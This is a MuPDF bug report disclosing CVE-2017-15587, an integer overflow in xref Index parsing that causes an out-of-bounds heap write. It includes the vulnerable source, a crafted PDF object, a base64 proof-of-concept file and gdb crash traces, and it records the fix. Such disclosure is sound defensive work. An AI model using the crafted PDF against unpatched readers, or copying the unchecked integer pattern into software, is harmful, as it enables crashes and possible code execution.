Bug 698605 - MuPDF mutools Out-of-Bounds Write Vulnerability
Summary: MuPDF mutools Out-of-Bounds Write Vulnerability
Status: RESOLVED FIXED
Alias: None
Product: MuPDF
Classification: Unclassified
Component: mupdf (show other bugs)
Version: unspecified
Hardware: PC All
: P4 major
Assignee: Tor Andersson
QA Contact: gs-security
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2017-09-27 14:03 UTC by Jeremy Heng
Modified: 2019-05-08 13:56 UTC (History)
1 user (show)

See Also:
Customer:
Word Size: ---


Attachments
Crashing Sample (84 bytes, application/pdf)
2017-09-27 14:03 UTC, Jeremy Heng
Details

Note You need to log in before you can comment on or make changes to this bug.
Description Jeremy Heng 2017-09-27 14:03:01 UTC
Created attachment 14344 [details]
Crashing Sample

# MuPDF mutools Out-of-Bounds Write Vulnerability

A vulnerability in mutools PDF parsing functionality allows an attacker to write
controlled data to an arbitrary location in memory due to an integer overflow
when performing truncated xref checks. On 64 bit builds, the extent of this bug
is most likely a denial-of-service while on 32 bit builds, the bug can possibly
be leveraged to gain arbitrary code execution.

## Affected Versions

The current release (1.11) is affected. Further analysis is required to
determine which versions are also affected by the vulnerability.

## Vulnerability Scores

Classification: CWE-787: Out-of-Bounds Write
CVSSv3: 7.3 (AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H)

## Description

The vulnerable lines of code are present in the file `source/pdf/pdf-xref.c`.
They are triggered in the `info`, 'show', 'draw', 'clean', 'extract', 'merge',
'portfolio', 'poster', and 'pages' functions of `mutool`.

The attached minimised crashing sample includes the following object that
triggers the vulnerable code path.

```
obj<</[]/Index[2147483647 1]/ 0 0 R/ 0/Size 0/W[]>>stream
```

The issue stems from how the "/Index" entry is parsed and processed. The
"/Index" entry is an array containing pairs of integers that denote the first
object number in the subsection and the number of entries in the subsection.

In the function `pdf_read_new_xref`, the pairs of integers are read and
processed. For each pair of integers, the first number is read as an `int` into
`i0` and the second is read as an `int` into `i1`. The two values are passed
into the `pdf_read_new_xref_section` call.

```c
 958 static pdf_obj *
 959 pdf_read_new_xref(fz_context *ctx, pdf_document *doc, pdf_lexbuf *buf)
 960 {
...
1022 	int n = pdf_array_len(ctx, index);
1023    for (t = 0; t < n; t += 2)
1024   	{
1025    	int i0 = pdf_to_int(ctx, pdf_array_get(ctx, index, t + 0));
1026        int i1 = pdf_to_int(ctx, pdf_array_get(ctx, index, t + 1));
1027        pdf_read_new_xref_section(ctx, doc, stm, i0, i1, w0, w1, w2);
1028    }
...
1050 }
```

In the `pdf_read_new_xref_section` function, some sanity checks are performed to
validate the xref structure. First, the two values have to be non-negative.
Second, it checks that the xref stream is not truncated. For the out-of-bounds
write to occur, the truncation check has to be bypassed.

This can be achieved by skipping the loop in line 927 by causing an integer
overflow in the calculation `i0 +i1`. Since the values are of the type `int and
are signed`, adding `2147483647` and `1` causes the calculation to wrap around
resulting in the value of `-2147483648`.

```c
 915 static void
 916 pdf_read_new_xref_section(fz_context *ctx, pdf_document *doc,
                               fz_stream *stm, fz_off_t i0, int i1, int w0,
                               int w1, int w2)
 917 {
...
 921         if (i0 < 0 || i1 < 0)
 922                 fz_throw(ctx, FZ_ERROR_GENERIC,
						      "negative xref stream entry index");
...
 927         for (i = i0; i < i0 + i1; i++)
 928         {
...
 934         	if (fz_is_eof(ctx, stm))
 935            	fz_throw(ctx, FZ_ERROR_GENERIC, "truncated xref stream");
...
 952         }
...
 955 }
```

Later on in the execution, the `ensure_solid_xref` function is called to merge
xref subsections. The field `sub->start` contains the value of `i0` and the
field `sub->len` contains the value in `i1`. `new_sub->table` holds an address
in the heap. In the above example on a 64 bit build, the assignment will resolve
to `new_sub->table[0x7fffffff] = sub->table[0];`. The type of `new_sub->table`
is `pdf_xref_entry` which is of size 0x20 which means that the dereference
happens in multiples of 0x20. This causes the out-of-bounds write.

```c
 162 /* Ensure that the given xref has a single subsection
 163  * that covers the entire range. */
 164 static void
 165 ensure_solid_xref(fz_context *ctx, pdf_document *doc, int num, int which)
 166 {
...
 199                 for (i = 0; i < sub->len; i++)
 200                 {
 201                         new_sub->table[i+sub->start] = sub->table[i];
 202                 }
...
 211 }
```

Due to the nature of constraints, `i1` is bounded by the amount of memory
possible to be allocated by `calloc`. Thus, `i0` is restricted to a very large
number.

On a 64 bit build, this would most likely cause a crash since the write will
land in unaddressable memory. On a 32 bit build, the integer wrap around can be
leveraged again to put the write in valid addressable regions and possibly
achieve arbitrary code execution or cause other unspecified impact.

## Mitigation

A quick fix for the issue would be to include a check for the integer overflow
in `pdf_read_new_xref_section`. Further analysis is required to identify
systemic issues resulting from the unsafe use of signed integers before
suggesting a robust fix.

## Proof of Concept

The file `crash.pdf` is attached in this report. It is also included here as a
base64 encoded file.

```
JVBERi0wMDAwMDAgMCBvYmo8PC9bXS9JbmRleFsyMTQ3NDgzNjQ3IDFdLyAwIDAgUi8gMC9TaXpl
IDAvV1tdPj5zdHJlYW0Nc3RhcnR4cmVmMTAK
```

On a 64 bit build of mupdf, the program crashes on the abovementioned write.

```shell
$ gdb ./mutool
(gdb) r info manipulate.pdf
Starting program: /vagrant/projects/mupdf/mutool info manipulate.pdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
manipulate.pdf:
warning: line feed missing after stream begin marker (0 0 R)

Program received signal SIGSEGV, Segmentation fault.
0x00000000004b9ec6 in ensure_solid_xref (ctx=0x2962010, doc=0x2972ba0, num=1,
					  which=0) at source/pdf/pdf-xref.c:201
201                new_sub->table[i+sub->start] = sub->table[i];
(gdb) p *sub
$1 = {next = 0x0, len = 1, start = 2147483647, table = 0x29850d0}
(gdb) p *new_sub
$2 = {next = 0x0, len = 1, start = 0, table = 0x2985120}
(gdb) x/i $rip
=> 0x4b9ec6 <ensure_solid_xref+433>:    mov    %rcx,(%rax)
(gdb) info reg rax rcx
rax            0x1002985100    68763013376
rcx            0x0    0
```

Whereas on a 32 bit build, the write address wraps around into a valid heap
memory region and the out-of-bounds write succeeds.

```shell
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /vagrant/projects/mupdf/mutool-32 info manipulate.pdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
manipulate.pdf:
warning: line feed missing after stream begin marker (0 0 R)

Breakpoint 1, ensure_solid_xref (ctx=0xa32a008, doc=0xa336948, num=1, which=0)
			  at source/pdf/pdf-xref.c:201
201                new_sub->table[i+sub->start] = sub->table[i];
(gdb) p *sub
$1 = {next = 0x0, len = 1, start = 2147483647, table = 0xa348c60}
(gdb) p *new_sub
$2 = {next = 0x0, len = 1, start = 0, table = 0xa348c98}
(gdb) info reg eax ecx
eax            0x1    1
ecx            0xa32a40c    171090956
(gdb) x/xw 0xa32a40c
0xa32a40c:    0x00000000
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x080e6a21 in pdf_read_new_xref (ctx=0xa32a008, doc=0xa336948, buf=0xa336a20)
			  at source/pdf/pdf-xref.c:1031
1031            entry->ofs = ofs;
(gdb)
```

## Credit

This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).
Comment 1 Jeremy Heng 2017-10-10 21:51:12 UTC
Hi all,

Is there an update on this?

We have also reported this to the Debian Security Team.

Thank you.
Jeremy
Comment 2 Jeremy Heng 2017-10-16 03:17:04 UTC
Hi,

We will be releasing a public writeup on this issue on 27 Oct 2017.

Thanks,
Jeremy
Comment 3 Tor Andersson 2017-10-16 05:37:27 UTC
Fixed in commit 82df2631d7d0446b206ea6b434ea609b6c28b0e8
Author: Tor Andersson <tor.andersson@artifex.com>
Date:   Mon Oct 16 13:14:25 2017 +0200

    Check for integer overflow when validating new style xref Index.
Comment 4 Jeremy Heng 2017-10-17 23:25:48 UTC
Bug was assigned CVE-2017-15587.